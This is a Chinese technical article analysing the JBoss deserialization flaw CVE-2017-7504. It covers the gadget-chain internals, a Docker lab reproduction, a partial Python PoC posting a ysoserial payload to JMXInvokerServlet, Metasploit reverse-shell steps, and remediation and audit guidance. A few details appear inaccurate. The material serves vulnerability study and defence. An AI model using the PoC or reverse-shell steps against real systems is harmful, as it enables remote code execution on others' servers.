Java反序列化漏洞深度剖析:从CVE-2017-7504看安全攻防实践

Java反序列化漏洞深度剖析:从CVE-2017-7504看安全攻防实践

1. 项目概述:从一次内部安全审计说起

去年年底,我们团队在对一个遗留的老旧业务系统进行例行安全审计时,扫描器突然弹出了一个高危告警:CVE-2017-7504。这个漏洞的名字,对于很多搞Java应用安全的朋友来说,应该不陌生。它涉及的是老牌Java EE应用服务器——JBoss(现在叫WildFly)的一个反序列化漏洞。当时,这个系统还在使用一个比较老的JBoss AS 5.x版本,而CVE-2017-7504影响的正是JBoss AS 4.x和5.x系列。我决定不满足于扫描器给出的“存在漏洞”结论,而是深入进去,把它的原理、利用链以及修复方案彻底搞清楚。这个过程,实际上就是一次对“反序列化漏洞”这个经典议题的深度复盘。

简单来说,CVE-2017-7504漏洞允许攻击者通过向JBoss的HttpInvoker服务发送一个精心构造的、包含恶意序列化对象的HTTP请求,从而在服务器上执行任意代码。这听起来很可怕,但更可怕的是,很多运维和开发人员对这个漏洞的理解可能还停留在“升级JBoss版本”的层面,对其背后的Java反序列化机制和具体的利用链构造一知半解。今天,我就结合当时审计和复现的过程,把这个漏洞掰开揉碎了讲清楚。无论你是安全研究员想理解漏洞细节,还是开发/运维同学想彻底排查自家系统风险,这篇文章都会提供一条清晰的路径。

2. 漏洞背景与核心原理拆解

2.1 JBoss HttpInvoker服务:被遗忘的“后门”

要理解这个漏洞,首先得知道攻击的入口点:HttpInvoker。在早期的JBoss版本中,它提供了一种基于HTTP协议的远程方法调用(RMI)机制,允许客户端像调用本地对象一样调用服务器上的EJB(Enterprise JavaBean)。为了实现这个功能,JBoss暴露了一个Servlet,路径通常是/invoker/readonly/invoker/JMXInvokerServlet。这个Servlet会接收客户端发送的HTTP POST请求,请求体里是一个序列化后的Java对象(包含了要调用的方法名、参数等信息),服务器端接收到之后,会对其进行反序列化,还原成Java对象,然后执行相应的方法调用。

问题就出在这个“反序列化”的环节。Java的反序列化过程,简单说就是把一串字节流(byte stream)重新恢复成一个内存中的对象。在这个过程中,Java虚拟机会自动调用被反序列化对象的readObject()方法(如果该对象实现了Serializable接口并自定义了此方法)。设计readObject()的初衷是为了让开发者能自定义反序列化时的逻辑,比如恢复一些瞬态(transient)字段。但在安全上,这却成了一个巨大的“钩子”(hook)。攻击者可以精心构造一个对象,在其readObject()方法中写入恶意代码,当服务器反序列化这个对象时,恶意代码就会被执行。

注意:很多同学会把反序列化和“执行命令”直接划等号,其实中间还差着一个关键的“跳板”。readObject()本身只是一段Java代码,它需要借助一些特殊的“工具类”(通常被称为Gadget Chain,利用链),才能把代码执行的能力转化为真正的系统命令执行,比如调用Runtime.exec()

2.2 CVE-2017-7504与CVE-2015-7501的“孪生”关系

在深入CVE-2017-7504之前,必须提一下它的“前辈”:CVE-2015-7501(也称为JBoss反序列化漏洞,影响JBoss AS 4.x/5.x/6.x)。这两个漏洞本质上利用了同一个入口点(/invoker/JMXInvokerServlet)和同一条核心利用链,但有一个关键区别:

  • CVE-2015-7501:利用的是org.jboss.invocation.MarshalledValue类。这个类是JBoss内部用于封装序列化数据的。漏洞利用时,攻击者发送的序列化数据最外层就是这个MarshalledValue对象。
  • CVE-2017-7504:在CVE-2015-7501被修复后,安全研究人员发现修复并不彻底。攻击者可以转而使用另一个类似的类:org.jboss.invocation.MarshalledInvocation。这个类同样存在于JBoss的类路径中,并且也实现了Serializable接口,其readObject()方法同样会触发对内部封装对象的反序列化。简单理解,就是堵上了一扇门(MarshalledValue),但旁边还有一扇窗(MarshalledInvocation)没关严

所以,CVE-2017-7504可以看作是CVE-2015-7501的一个“补丁绕过”。在分析源码和构造利用载荷时,我们只需要把焦点从MarshalledValue切换到MarshalledInvocation即可,后续的利用链(即如何从readObject()走到命令执行)是完全一样的。

2.3 漏洞利用链的核心:从readObject到Runtime.exec

光有入口点(HttpInvoker)和触发点(MarshalledInvocation.readObject())还不够,我们需要一条“路”通向命令执行。这条路由一系列特殊的Java类首尾相接而成,这就是“利用链”(Gadget Chain)。对于JBoss的这两个漏洞,最经典、最常用的链是InvokerTransformer链,它依赖于Apache Commons Collections(ACC)库的一个危险特性。

这里我画一个简化的思维流程来帮助理解:

  1. 起点:服务器反序列化我们发送的MarshalledInvocation对象。
  2. 跳板1MarshalledInvocation.readObject()内部会反序列化其包含的另一个对象,比如一个AnnotationInvocationHandler(这是Java动态代理的一部分,也是很多反序列化漏洞的常客)。
  3. 跳板2AnnotationInvocationHandlerreadObject()invoke()方法(在反序列化后的某些操作中被触发)会去调用一个TransformedMapLazyMapget()方法。这两个类来自Apache Commons Collections。
  4. 危险操作TransformedMapLazyMapget()时,会调用一个预置的Transformer(转换器)来处理key或value。攻击者可以预先设置一个ChainedTransformer,它由多个Transformer组成。
  5. 最终执行:在这个ChainedTransformer链中,最关键的一环是InvokerTransformer。这个类的可怕之处在于,它可以通过反射(Reflection)调用任意Java对象的任意方法。攻击者将其配置为调用Runtime.getRuntime().exec(“恶意命令”)

这样,当利用链被触发,就像推倒了多米诺骨牌,最终导致系统命令在服务器上被执行。这条链的威力,很大程度上源于Apache Commons Collections库中这些设计上过于灵活、缺乏安全考虑的类。它们本意是提供强大的对象转换功能,却在反序列化场景下成了攻击者的利器。

3. 环境搭建与漏洞复现实操

纸上得来终觉浅,绝知此事要躬行。要真正理解漏洞,亲手复现一遍是最好的方式。下面我详细记录一下在安全测试环境中复现CVE-2017-7504的完整过程。

3.1 靶机环境准备

首先,我们需要一个存在漏洞的JBoss环境。最方便的方法是使用Docker。

# 搜索并拉取一个集成了漏洞环境的Docker镜像,例如vulhub中的镜像 docker search jboss CVE-2017-7504 # 假设我们使用一个常见的靶场镜像 docker pull vulhub/jboss:as-5.2.0 # 运行容器,将JBoss的8080端口映射到本地的8080端口 docker run -d -p 8080:8080 --name jboss-cve-2017-7504 vulhub/jboss:as-5.2.0

启动后,访问http://your-host-ip:8080/,应该能看到JBoss的默认欢迎页面。更关键的是,漏洞入口http://your-host-ip:8080/invoker/JMXInvokerServlet是存在的(虽然页面可能显示404或500,但这正是服务存在的迹象,如果完全不存在该路径,会返回404 Not Found,这里需要区分应用级404和路径级404)。

3.2 利用工具选择与配置

手动构造序列化利用链非常复杂,我们通常使用现成的工具。ysoserial是业界最著名的Java反序列化利用框架,它集成了多条针对不同库(如Commons Collections, Groovy, Jdk7u21等)的利用链。

  1. 下载ysoserial:可以从GitHub release页面下载最新的jar包。
  2. 生成攻击载荷:我们需要生成一个利用CommonsCollections链(针对Commons Collections 3.2.1及以下版本)的序列化数据,并将其封装成针对JBoss的格式。虽然ysoserial直接支持生成MarshalledValue的载荷,但对于CVE-2017-7504需要的MarshalledInvocation,可能需要稍作调整。不过,很多公开的PoC脚本已经做好了这一步。

这里我分享一个经过验证的、可以直接使用的Python PoC脚本核心思路。这个脚本的作用是:用ysoserial生成CommonsCollections链的载荷,然后将其包装成MarshalledInvocation对象,最后通过HTTP POST发送给目标。

#!/usr/bin/env python3 # 示例PoC核心逻辑,需要配合ysoserial.jar使用 import subprocess import requests import sys def generate_payload(cmd): # 调用ysoserial生成CommonsCollections1链的原始序列化数据 popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollections1', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE) payload, err = popen.communicate() return payload def wrap_for_jboss(payload): # 这里是一个简化的包装逻辑示意。 # 实际构造MarshalledInvocation对象需要更复杂的Java代码。 # 通常的做法是:写一个简单的Java程序,创建一个MarshalledInvocation对象, # 其hashMap成员变量里包含一个AnnotationInvocationHandler代理对象, # 而这个代理的memberValues是一个精心构造的LazyMap/TransformedMap。 # 最后将这个MarshalledInvocation对象序列化输出。 # 网上有开源的、已编译好的Java类可以直接用于生成最终载荷。 pass target = sys.argv[1] command = sys.argv[2] # 1. 生成命令执行载荷 raw_payload = generate_payload(command) # 2. 包装成JBoss MarshalledInvocation格式 (此处需使用已实现的包装器) final_payload = wrap_for_jboss(raw_payload) # 假设wrap_for_jboss函数已实现 # 3. 发送HTTP请求 url = f"http://{target}/invoker/JMXInvokerServlet" headers = {'Content-Type': 'application/octet-stream'} resp = requests.post(url, data=final_payload, headers=headers, timeout=10) print(f"Sent payload to {url}, status code: {resp.status_code}")

实操心得:在实际测试中,我强烈建议直接使用Metasploit框架中的exploit/multi/http/jboss_invoke_deploy模块。它已经高度集成化,自动处理了所有复杂的序列化对象构造和包装过程,只需要设置目标RHOSTS、RPORT和Payload(如java/meterpreter/reverse_tcp)即可,成功率非常高,是渗透测试中的首选。

3.3 复现过程与结果验证

假设我们使用Metasploit进行复现:

  1. 启动msfconsole
  2. use exploit/multi/http/jboss_invoke_deploy
  3. set RHOSTS <靶机IP>
  4. set RPORT 8080
  5. set PAYLOAD java/meterpreter/reverse_tcp
  6. set LHOST <你的攻击机IP>
  7. set LPORT 4444
  8. exploit

如果漏洞存在且利用成功,你会获得一个Meterpreter会话。此时,可以执行shell命令进入目标服务器的命令行,执行whoamiipconfigls等命令来验证漏洞利用成功,确认攻击者已获取了运行JBoss服务的系统用户权限(通常是权限较高的用户)。

关键验证点

  • HTTP响应:即使漏洞利用成功,/invoker/JMXInvokerServlet这个Servlet的HTTP响应码可能依然是500(内部服务器错误),因为反序列化过程抛出了异常。但这并不妨碍恶意代码在此之前已经执行。所以,不能单纯以HTTP响应是否成功来判断漏洞是否存在或利用是否成功。
  • 网络监听:最可靠的验证方式是在攻击机设置好监听(如Metasploit的handler),查看是否有反向连接建立。
  • 无回显利用:在某些严格的内网环境,可能无法直接反弹Shell。此时可以采用“无回显”的利用方式,例如执行一个触发DNS查询或HTTP请求的命令,通过监控DNS日志或Web访问日志来间接验证命令执行。

4. 漏洞深度源码分析

理解了利用过程,我们再来深入看看源码,弄清楚“为什么”会这样。这里我们聚焦两个核心类:MarshalledInvocation和 Apache Commons Collections 的InvokerTransformer

4.1 org.jboss.invocation.MarshalledInvocation

我们查看JBoss AS 5.x版本的源码(可从旧版本官网或Maven仓库下载)。MarshalledInvocation实现了SerializableInvocation接口。它的readObject方法是关键:

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); // ... 其他初始化代码 ... // 关键点:如果 marshalledObject 不为空,则会对其进行反序列化 if (marshalledObject != null) { try { Object obj = marshalledObject.getObject(); // 这里触发反序列化! // ... 后续将 obj 赋值给其他成员变量,如 this.method, this.arguments 等 } catch (Exception e) { throw new IOException("Failed to unmarshal object: " + e.toString()); } } }

marshalledObjectorg.jboss.marshalling.MarshalledObject类型,它的getObject()方法会执行反序列化操作。攻击者发送的序列化数据中,marshalledObject字段里就封装了那条恶意的利用链(从AnnotationInvocationHandlerTransformedMap...)。所以,当服务器收到数据,调用readObject时,就会自动触发内部封装对象的反序列化,从而启动整个攻击链。

4.2 org.apache.commons.collections.functors.InvokerTransformer

这是Apache Commons Collections库中真正的“罪魁祸首”之一。我们看看它的transform方法:

public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); // 通过反射获取方法 return method.invoke(input, iArgs); // 通过反射调用方法 } catch (NoSuchMethodException nsme) { // ... 异常处理 } }

这个类的构造函数接收三个参数:方法名(iMethodName)、参数类型数组(iParamTypes)和参数值数组(iArgs)。在利用链中,攻击者会这样构造它:

new InvokerTransformer( "exec", // 方法名 new Class[]{String.class}, // 参数类型 new Object[]{"calc.exe"} // 参数值 )

当这个InvokerTransformertransform方法被调用,且传入的input对象是Runtime.getRuntime()返回的Runtime对象时,它就会通过反射调用exec(“calc.exe”)方法,弹出计算器(或在服务器上执行任意命令)。

4.3 利用链的组装逻辑

整个利用链的组装,可以理解为一场精密的“编程魔术”。它利用了Java反序列化时对象图恢复的特性,以及多个类之间通过接口回调形成的连锁反应。核心步骤在内存中构建如下对象关系:

  1. 创建一个ChainedTransformer,它包含一个Transformer数组。这个数组的最后一个元素是上面构造的InvokerTransformer(用于执行命令),前面的元素则负责“传递”对象,最终将Runtime对象传递给它。
  2. 创建一个LazyMapTransformedMap,并将上一步的ChainedTransformer设置为其回调转换器。
  3. 创建一个AnnotationInvocationHandler动态代理对象(或利用其readObject逻辑),并将其memberValues属性设置为上一步的Map
  4. 将这个AnnotationInvocationHandler对象封装进MarshalledInvocationmarshalledObject字段。

MarshalledInvocation被反序列化时,AnnotationInvocationHandlerreadObject或后续的equals/hashCode方法会被触发,进而去读取memberValues这个Map。为了读取值,Mapget()方法被调用,这就触发了LazyMap/TransformedMap中预设的Transformer回调,最终引爆整条链。

踩坑记录:在早期自己尝试构造利用链时,最容易出错的地方就是AnnotationInvocationHandler的构造。这个类是Sun内部的(sun.reflect.annotation.AnnotationInvocationHandler),不能直接new。必须通过Java的反射API来创建它的实例。此外,不同版本的JDK(如7u80和8u20之后)对这个类的内部实现有修改,可能导致利用链失效,这就是为什么有些漏洞对JDK版本有要求。

5. 修复方案与安全加固建议

分析漏洞是为了更好地防御。针对CVE-2017-7504,修复必须从多个层面进行。

5.1 官方修复与版本升级

最根本、最推荐的解决方案是升级JBoss/WildFly到不受影响的版本。对于JBoss AS系列,应升级到已修复该漏洞的版本,或者直接迁移到WildFly(JBoss AS的后继项目)。Red Hat官方早已为受影响的JBoss EAP(企业版)发布了安全补丁。

修复的本质:官方的修复补丁通常不是修改MarshalledInvocationreadObject方法(因为那会破坏功能),而是直接删除或禁用有问题的Servlet。例如,在deploy/httpha-invoker.sar/invoker.war/WEB-INF/web.xml中,将JMXInvokerServlet的映射注释掉或删除,或者将整个invoker.war应用移除。

5.2 临时缓解措施

如果因为兼容性等原因无法立即升级,可以采取以下临时加固措施:

  1. 删除或重命名Invoker WAR包:在JBoss的部署目录(如JBOSS_HOME/server/default/deploy/)下,找到httpha-invoker.sar或直接包含invoker.war的文件,将其移除或重命名(如改为invoker.war.bak),然后重启JBoss服务。这是最直接有效的方法。
  2. 配置防火墙/安全组策略:严格限制访问JBoss管理端口(默认为8080, 9990等)的源IP地址,只允许运维管理机和必要的内部系统访问,禁止暴露在公网。
  3. 使用Web应用防火墙(WAF):配置WAF规则,拦截对/invoker/JMXInvokerServlet/invoker/readonly等路径的POST请求,特别是请求体内容为Java序列化魔术头(AC ED 00 05,即十六进制的rO0开头)的请求。

5.3 开发层面的长期防御

这个漏洞也给所有Java开发者敲响了警钟:不要反序列化不可信的数据。这是黄金法则。

  • 使用安全的替代方案:对于需要跨网络传输对象的场景,考虑使用JSON、XML、Protocol Buffers等安全的序列化格式,而不是Java原生序列化。
  • 升级基础库:确保项目中使用的Apache Commons Collections库升级到安全版本(如4.0及以上),这些版本重写了危险的Transformer实现,或者移除了相关功能。可以使用Maven依赖检查工具(如OWASP Dependency-Check)定期扫描。
  • 实施反序列化过滤器:在Java 9及以上版本,可以使用ObjectInputFilter(JEP 290)来为反序列化过程设置白名单或黑名单,限制可以反序列化的类。这是从JVM层面提供的防护机制,即使应用代码存在反序列化点,也能有效拦截恶意利用链。
  • 代码审计:在代码审查中,重点关注ObjectInputStream.readObject(),XMLDecoder.parse(),Yaml.load(),XStream.fromXML()等危险方法的调用,确保其输入源是可信的。

6. 衍生思考与同类漏洞排查

CVE-2017-7504不是一个孤立的案例,它是Java反序列化漏洞“家族”中的一个典型代表。理解它,就掌握了一把钥匙,可以用于排查和理解许多同类问题。

6.1 反序列化漏洞的通用模式

这类漏洞通常遵循一个模式:“一个可控的反序列化入口点” + “一条存在于Classpath中的危险利用链”

  • 入口点:除了JBoss的HttpInvoker,常见的还有:
    • Apache Shiro的RememberMe Cookie解密后反序列化。
    • Spring框架的序列化数据绑定(在某些旧版本或特定配置下)。
    • JMX端口(RMI over JRMP)的反序列化。
    • 任何自定义的、接收序列化对象进行网络通信或文件存储的接口。
  • 利用链:除了Commons Collections,还有:
    • Commons BeanUtils
    • Groovy
    • Spring AOP
    • Jdk7u21 (利用JDK内部类)
    • Fastjson (通过特定autotype特性)
    • Jackson (通过polymorphic deserialization)

6.2 企业内部的漏洞排查清单

基于这个模式,我们可以制定一个简单的内部排查清单:

  1. 资产梳理:列出所有对外服务的Java应用,特别是那些使用老旧框架(Struts2, Spring 3.x, 旧版JBoss/WebLogic/WebSphere)的应用。
  2. 端口扫描与服务探测:使用Nmap等工具扫描服务器,识别开放的Java RMI(1099端口)、JMX(如9999端口)等服务。使用浏览器或curl访问常见漏洞路径,如/invoker/JMXInvokerServlet,/wls-wsat/CoordinatorPortType(WebLogic)。
  3. 依赖库检查:检查应用依赖的JAR包,重点关注commons-collections-3.x.jar,commons-beanutils-1.8.x.jar,groovy-all-*.jar等存在已知利用链的库版本。
  4. 代码审计:全局搜索readObject,readResolve,readExternal,XMLDecoder,ObjectInputStream,Yaml.load,XStream.fromXML等关键词。
  5. 流量监控与WAF:在生产环境网络边界部署流量监控或WAF,尝试识别和拦截含有Java序列化魔术头(AC ED 00 05)的HTTP请求体。

6.3 从防御者到攻击者的视角转换

作为一名安全工程师或关注安全的开发者,我强烈建议在可控的环境下(如自己的虚拟机、Docker容器)亲手复现几次这类漏洞。这个过程的价值不在于“学会攻击”,而在于:

  • 深刻理解漏洞原理:看十遍分析文章,不如自己让计算器弹出来一次。
  • 提升排查效率:知道了攻击是如何发生的,你就能更准确地知道防御的重点在哪里,排查时也更有方向感。
  • 建立安全直觉:以后再看到类似“Java反序列化”、“RMI”、“JMX”这些关键词时,大脑里的警报会立刻响起来。

那次对老旧JBoss系统的审计,最终以我们向运维团队提供了详细的漏洞报告、修复方案和临时加固脚本告终。系统最终得到了升级。整个过程让我再次体会到,面对安全漏洞,尤其是这种原理深刻、影响广泛的漏洞,浮于表面的“知道了”是远远不够的。只有沉下去,把它的来龙去脉、每一环的代码都搞清楚,才能真正地“解决”它,并在未来举一反三。安全之路,就是这样一个不断深入细节、拆解黑盒的过程。希望这篇超详细的“浅析”能帮你打开这扇门。